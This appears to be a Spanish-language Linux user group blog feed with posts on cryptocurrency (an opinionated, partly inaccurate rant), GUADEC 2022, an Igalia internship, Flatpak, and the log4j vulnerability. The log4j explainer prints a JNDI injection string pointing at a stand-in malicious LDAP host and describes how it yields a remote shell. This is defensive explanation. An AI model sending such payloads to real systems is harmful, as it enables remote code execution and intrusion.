Grupo Linuxero del Bajío

En unas horas comenzará la GUADEC en Guadalajara, México. Ojalá puedan darse una vuelta :)

https://events.gnome.org/event/77/

Hace unas semanas mi papá me envió un correo diciendo:

> Acabo de ver en Netflix una película sobre las criptomonedas y el robo descarado 
> de 250 millones de dólares.
>
> Esto viene a colación, debido a una declaración de Ricardo Salinas Pliego en la 
> que declara que las criptomonedas son buenas y él hace su preferencia por el 
> BITCOIN y que las va a aceptar en sus negocios:
> 
> https://www.elfinanciero.com.mx/economia/2022/04/11/bitcoin-alternativa-a-dinero-tradicional/

Así que le envié mi opinión al respecto, que aquí extiendo:

TL;DR: Las criptomonedas, en su estado actual, son un "esquema Ponzi", una estafa piramidal.

Gente como Salinas Pliego dicen eso, precisamente, para cubrir su exposición en bitcoins y salir con un pellizco, chingándose a los pobres pendejos creyentes que llegan después buscando hacerse ricos, mágicamente, comprándole sus bitcoins.

Las criptomonedas fueron uno de los subproductos tecno-culturales tras la crisis del 2008. El dinero fiducitario perdió precisamente su cualidad: nuestra fe en su valor. Ya no se puede confíar en él. Con la crisis evidenció cómo los bancos crean pueden crear dinero de la nada, sólo a partir de deuda que tengan contratada, operación conocida como multiplicador monetario. Y si sueltan créditos hipotecarios sin control, crean dinero sin control, pero si crean demasiado, no hay problema: el Estado los salva, cubriendo sus pérdidas a cargo del erario.

Entonces apareció un texto en internet, firmado simplemente por un tal Satoshi Nakamoto, de quien no se sabe nada, tal vez nunca hubo alguien llamado así, describiendo los detalles técnicos de cómo se podría manejar dinero de manera distribuída y sin confianza entre los participantes del sistema. Este documento describe dos operaciones básicas: cómo crear dinero (proof-of-work) y cómo llevar un registro de los movimientos de dinero de manera "anónima" (blockchain).

A ver si puedo explicar estos conceptos de manera simple. El segundo (blockchain):

El dinero simplemente es una cantidad asignada a un identificador (un numerote) conocido como billetera. Una persona real puede tener acceso a una o más billeteras. Dentro del sistema no hay forma de saber qué billetera está vinculada a una persona física, y eso parece asombroso. Pero el teatro se cae cuando uno pide dinero y tiene que decir, públicamente, cuál es su billetera.

Entonces, una operación sería la transferencia de una suma de una billetera a otra. Eso se escribe, como siempre, en un libro mayor contable. En el caso de las criptomonedas al libro mayor se le llama "blockchain", simplemente para que suene mamador. Pero es un libro mayor con dos características: 1) sólo se pueden añadir transacciones, nunca borrar ni modificar; y 2) este libro lo puede copiar cualquiera en internet.

Ejemplo: alguien compra algo y paga con criptomoneda. Entonces esta operación se escribe en dos blockchains: el de quien da el dinero y el de quien lo recibe. Estas personas están vinculadas con otros blockchains en internet que copian esta misma transacción validando que la misma operación exista en los dos blockchains afectados.

Supongamos que a mi blockchain le dice otro:

- Oye guey, mira, que me mandaron 500 criptomonedas de tal billetera.
- ¿En serio? a ver, no mames.

Mi blockchain entonces le pregunta al blockchain de la billetera que supuestamente le dio esa lana o uno cercano, y le contesta;

- Simón. Mira, todo coincide

Mi blockchain le dice entonces al primero:

- A toda madre, güey, ya te lo apunto yo aquí.

Pero, si llega un blockchain con una operación que no está replicada en otros blockchains, entonces se avisa a todos que ese es un blockchain inválido y ya nadie le creerá nada.

Hasta aquí todo maravilloso, tienes un sistema de transferencia de dinero descentralizado (no requieres de bancos, ni de switf, ni de visa). ¿A quién le puedes reclamar si te chingan la cartera? A absolutamente a nadie. ¿Qué pasa si se cae la red por mucho tiempo? ¿Qué pasa si se te borra el disco duro con tu blockchain y tu billetera? ¿Qué pasa si olvidas la contraseña de tu billetera? ¿Qué pasa si te invalidan tu blockchain sin mala intención de tu parte? Simplemente te chingas.

La otra operación es cómo crear dinero. Esta es la más compleja y problemática.

La creación de dinero, en un sistema distribuido y sin confianza, es a travésde un algoritmo critpográfico que usa métodos aleatorios y se le llama minería (porque también suena mamador).

La minería consiste en dejar que tu computadora genere números aleatorios grandotototes a lo pendejo. Si el número generado tiene un patrón específico, suena la sirena y aparecen criptomonedas en tu billetera. Es como ganar la lotería. Todos los blockchains saben que "tal billetera generó tal número aleatorio que le produjo tanta lana" porque tu computadora gastó un chingo de tiempo de procesamiento a lo pendejo (y de energía eléctrica) para producir una cantidad de criptomonedas.

El algoritmo está diseñado para generar cantidades de dinero variable en el tiempo: al principio se produce poca criptomoneda porque hay pocos mineros, pero el patrón ganador es fácil de obtener (por ejemplo, con que tenga un cero al final, o sea cada diez números producidos ganabas criptomonedas); con respecto pasa el tiempo hay más participantes en el sistema, y entre más dinero se haya generado, más difícil es obtener un número, ya que el patrón es cada vez más difícil de sacar (por ejemplo, seis ceros al final, o sea de cada millón de números generados, uno genera criptomonedas). El sistema va cambiando el patrón con respecto a la cantidad total de criptomonedas hay en el sistema, para evitar el problema del multiplicador monetario.

De entrada aquí ya se ve quién ya ganó: los cabrones que minaron primero. O sea, el requisito primordial de una estafa piramidal está servido.

Pero ahora viene lo más ojete de todo: la generación de números aleatorios es una operación computacional costosa, el CPU hace cálculos con números enormes y eso implica mayor consumo eléctrico y mayor generación de calor por el hardware. En este momento, el patrón para números aleatorios ganadores es de billones (en es español, millón de millones). Entonces, si uno se quiere dedicar a minar de manera que convenga, de poner enormes granjas de computadoras súper-potentes para simplemente generar números aleatorios a lo pendejo, gastando electricidad y generando calor como si no hubiera cambio climático. Hoy en día, estas granjas de minería en el mundo consumen más electricidad que países europeos enteros. Claro, se van a países donde la electricidad es barata para que les salga a cuentas. Pero, básicamente, estamos quemando bosques, gas, petróleo, destruyendo el planeta, para que un puñado de imbéciles tengan un numerito en la nube.

El dinero es un símbolo del valor. El valor es el trabajo humano dirigido a producir mercancías útiles para la sociedad. El símbolo dinerario está respaldado, inicialmente por una mercancía común, oro o plata, y luego por los impuestos recabados por los Estados (aunque ya nadie les cree ahora). Sin embargo, el dinero sigue representando el valor de la mercancía, el trabajo humano dedicado a ella. ¡Acá no! No hay trabajo humano ninguno! no hay producción de mercancías ninguna! No hay valor por donde se le busque.

Y claro, tenemos a un montón de pobres diablos, metiendo sus ahorros, dinero con el valor de su trabajo real, para especular en criptomonedas, sin entenderlas a cabalidad, y perdiéndolo todo. El ayudante del albañil que vino a hacer las reformas de la casa, un chaval de 20 años, con solo preparatoria, me contaba feliz que había ganado unos eurillos especulando en bitcoins y que se iba a forrar. Yo le decía que lo pensara mejor, pero hasta se ofendió. ¡Esas son las víctimas de hijos de la chingada como Ricardo Salinas Pliego!

Mi posición. El blockchain puede ser interesante para sustituir bancos y cosas como switf que son usados como armas por la OTAN para joder países como Cuba o Venezuela. Pero el resto es una estafa que participa de la destrucción ecológica del mundo.

Salió un sitio web que emula los comis de Google para presentar sus producto, pero está vez para señalar los problemas que plantea el uso de Chrome.

https://contrachrome.com/

Para refleccionar qué herramientas usamos para navegar en Internet.

Estudiantes de ciencias o sistemas computacionales o afines, y recién egresados,

Igalia, la empresa española para la que trabajo, abre su programa de Coding Experience 2022.

El programa es una beca a estudiantes de computacion o afines para su primera exposición al mundo profesional de software libre, de la mano de compañeros de trabajo de Igalia, para aprender y programar con ellos, a elegir en algunas de las áreas abiertas (webkit, chromium, compiladores o drivers gŕáficos).

El trabajo es remoto, así que pueden participar desde donde vivan. Se espera una dedicación total de 450 horas, ya sea 3 meses de tiempo completo o 6 meses de tiempo parcial. La compensación es de 6,500€.

Pueden aplicar en https://www.igalia.com/coding-experience/

Se ha anunciado [1]: La Conferencia (Europea) de Usuarios y Desarrolladores de
GNOME, GUADEC, se realizará del 20 al 25 de Julio, en Guadalajara, Jalisco,
México. Marquen sus agendas y preparen el viaje.

Es la primer GUADEC después del parón de dos años por la pandemia.

Es la GUADEC que enmarca el 25 aniversario del proyecto GNOME, lanzado por los
connacionales Miguel de Icaza y Federico Mena.

Es la primer GUADEC que se realiza fuera del territorio europeo.

La del 2020 se había planeado para que fuera en Zacatecas, pero por el COVID19
se tuvo que cancelar. Ojalá que en esta ocasión todo salga sin mayores
inconvenientes.

1. https://events.gnome.org/event/77/

El propósito de este texto es intentar explicar la tecnología flatpak [1].

Aquellos días donde cada distribución se enorgullecía de la cantidad de paquetes
que mantenía, de su maravilloso sistema de paquetería (deb, rpm, recetas de
compilación), se encuentran ya en su ocaso. No digo que desaparecerán, siguen
siendo necesarias, pero para un número menor de paquetes. Ya no buscaremos, en
la página de la distribución, si ya tienen empaquetada la última versión de la
aplicación que necesitamos.

Ahora, las aplicaciones se empaquetarán y distribuirán a través del sistema
flatpak.

Habrá a quienes no les interese esto y permanecerán fieles a su distribución o a
quemar ciclos de CPU y de vida para compilar todo. Pero para quienes la
computadora es una herramienta más, Flatpak es una respuesta a un reclamo común:
bajar, instalar, usar y actualizar la aplicación que usamos, sin necesidad de
saber, siquiera, qué distribución estamos usando. ¡Y lo mismo para los
desarrolladores! Ya no tienen que hacer, o pedir, recetas de empaquetado para
cada distribución que desean soportar.

Flatpak, entonces, es una tecnología muy cercana a la virtualización, entendida
como la capacidad de ejecutar una computadora virtual dentro de una computadora
real. Si han usado gnome-boxes [2] o qemu [3], tendrán más clara la idea.

Flatpak, exceptuando la arquitectura del CPU (amd64, arm, etc), virtualiza casi
todo, lo que permite controlar finamente los recursos que la aplicación
solicita. Piénsenlo como cuando se instala una aplicación en Android y les avisa
que necesita acceder a la red, a los contactos, a la cámara, etcétera. Pues
hagan de cuenta…

Por tanto, ejecutar o compilar una aplicación en Flatpak implica una
indirección: se le ordena a la computadora real que le ordene a la computadora
virtual ejecutar una acción, y está podrá, o no, ejecutarlo dependiendo del
entorno de ejecución, restringido, que tiene configurado.

Flatpak utiliza una tecnología llamada *OSTree* [4], que es una capa de
abstracción sobre el sistema de archivos del sistema operativo, con un espíritu
similar a *git*: transaccional, historial inmutable, con soporte de ramas
locales y repositorios remotos, etcétera. Para fines prácticos es un sistema de
archivos de sólo lectura, donde las modificaciones se hacen solamente bajo
ciertas condiciones.

El principio de las aplicaciones distribuidas por Flatpak es que son, en
principio, autocontenidas. Es decir, contienen dentro de ellas mismas todas las
dependencias requeridas. Sin embargo, esto es poco práctico para dependencias
comunes como las que provee Freedesktop, GNOME y KDE, así que se distribuyen las
llamadas *application platforms*, que básicamente son el conjunto de estas
dependencias, versionadas. También hay *runtimes*, que son librerías del sistema
como Mesa u otras implementaciones de OpenGL (por ejemplo las privativas de
NVIDIA). Por tanto, cuando se instala una aplicación en Flatpak, esta contiene
el manifiesto con la *application platform* y su versión que necesita.

Finalmente, hay repositorios de flatpak de donde uno puede instalar aplicaciones
listas para usar. El más importante y usado es flathub [5].

En conclusión, como usuario, simplemente disfruta de aplicaciones chidas
independientemente de tu distribución. Como desarrollador, pos hay que estudiar
un poco más para desarrollar para estos entornos (por la indirección a la que
obligan, hacen un poco más complejo el *debugging*).

1. https://flatpak.org/
2. https://help.gnome.org/users/gnome-boxes/stable/
3. https://www.qemu.org/
4. https://ostreedev.github.io/ostree/
5. https://flathub.org

Que este año nuevo, 2022, nos sea leve; que sea el mejor de todos los posibles.

Para estas alturas posiblemente todos ya estarán enterados del fallo de seguridad en log4j[1], aunque creo que vale la pena repasarlo.

Todo software más o menos complejo registra los eventos que le conciernen. La forma más simple de registrar estos eventos, sería imprimir en la salida estándar o de error un mensaje, humanamente legible, describiendo el evento en cuestión. Pero el registro de eventos puede complicarse al grado de que existen bibliotecas de software específicas que abstraen esta actividad. Hay bibliotecas de "logging" (como se conoce al registro de eventos) para todos los lenguajes, y log4j[2] es uno de los disponibles para Java.

¿En qué consiste el bug?

En pocas palabras, log4j "parsea" los mensajes a registrar en búsqueda de variables que puede reemplazar. Por ejemplo, el programador loggea este mensaje:

logger.info("El usuario " + user + " ha entrado").

Entonces log4j parsea la cadena y sabe que la variable user, en el estado actual de la aplicación es "ceyusa", por lo que finalmente escribe en bitácora

12:38:10.234 [main] INFO Main - El usuario 'ceyusa' ha entrado

Esto es muy útil, pero como todos los datos proveeidos por el usuario, son potencialmente peligrosos, máxime si éstos viajan por red.

Supongamos que el usuario puede cambiar su nombre de usuario de "ceyusa" a "${java:version}". log4j parseará esa cadena y verá que es un programa en java que ejectua, por lo que el resultado será:

12:38:10.234 [main] INFO Main - El usuario 'Java version 1.8.0_213' ha entrado

Por otro lado, hay una cosa en Java que se llama JNDI: Java Naming and Directory Interface[3]. Es una interfaz para indicar, a la máquina virtual de Java, la localización de un recurso remoto, por ejemplo una base de datos, un Enterprise Java Bean, etcétera. Uno de los usos más comunes es obtener información de un directorio a través del protocol LDAP.

En nuestro ejemplo, el usuario podría cambiar su nombre de usuario por '${jndi:ldap://malicioso.com:1389/123}'. Lo que haría log4j sería parsear esa cadena y ejectuarla. Al usar la API de JNDI, sabrá que el contenido de esa variable se encuentra en un servidor remoto, llamado malicioso.com, usando el protocolo LDAP y obtendrá el registro con la llave 123. Este servidor remoto puede estar bajo control del atacante y devolverá una cadena que se ejecutará dentro de la máquina virtual de Java que ejecuta de nuestra inocente aplicación, como, por ejemplo, lanzar una terminal en un puerto TCP (el típico remote backdoor).

¿Por qué es tan reelevante?

1. Hay un montón de software en Java, legacy, sin mantener, ejecutándose en internet, usando una versión vulnerable de log4j.
2. Hay un montón de software en Java, mantenido, pero que tiene una dependencia fuerte a un framework que usa una versión vulnerable de log4j.
3. Hay demasiado software en Java, como en bancos, controladores aeropuertuarios, etc.

Finalmente, nos remite al cartón de XKCD[4] sobre tener dependencias profundas de software, en sistemas complejos. O, al otro, clásico, sobre no confiar, nunca, en lo absoluto, en las entradas del sistema[5].

Es más, hay quien toma esta situación como argumento para evitar esos grantes frameworks totalizantes, y que sólo el lenguaje de programación sea nuestro framework[6].

1. https://nvd.nist.gov/vuln/detail/CVE-2021-44228
2. https://logging.apache.org/log4j/2.x/
3. https://docs.oracle.com/javase/tutori...index.html
4. https://xkcd.com/2347/
5. https://xkcd.com/327/
6. https://twitter.com/tomaka17/status/1...7790571522

Sin ímpetus de coherencia la susodicha red social no es santo de mi devoción, mucho menos su dueño y su accionistas, mas debo decir que sus desarrolladores hacen cosas muy interesantes que luego tienen la amabilidad de publicar como software libre [1], como su transpilador a PHP[2].

Pues ahora presentan su debugger, otro reemplazo a gdb, pero ahora usando Python como interfaz con el usuario, llamado drgn[3]. Me parece interesante, aunque yo soy más de debug a punta de printf.

1. https://github.com/facebook
2. https://hacklang.org/
3. https://developers.facebook.com/blog/...nel-scale/

Acaba de publicarse El Almanaque de la Web, 2021.

El Almanaque de la Web es un esfuerzo por sintetizar *el estado de la web*, un compendio de cuáles y cómo se usan las diferentes tecnologías que componen la World Wide Web, a decir, HTML, JavaScript, CSS, WebAssembly, y un largo etcétera.

https://almanac.httparchive.org/en/20...f-contents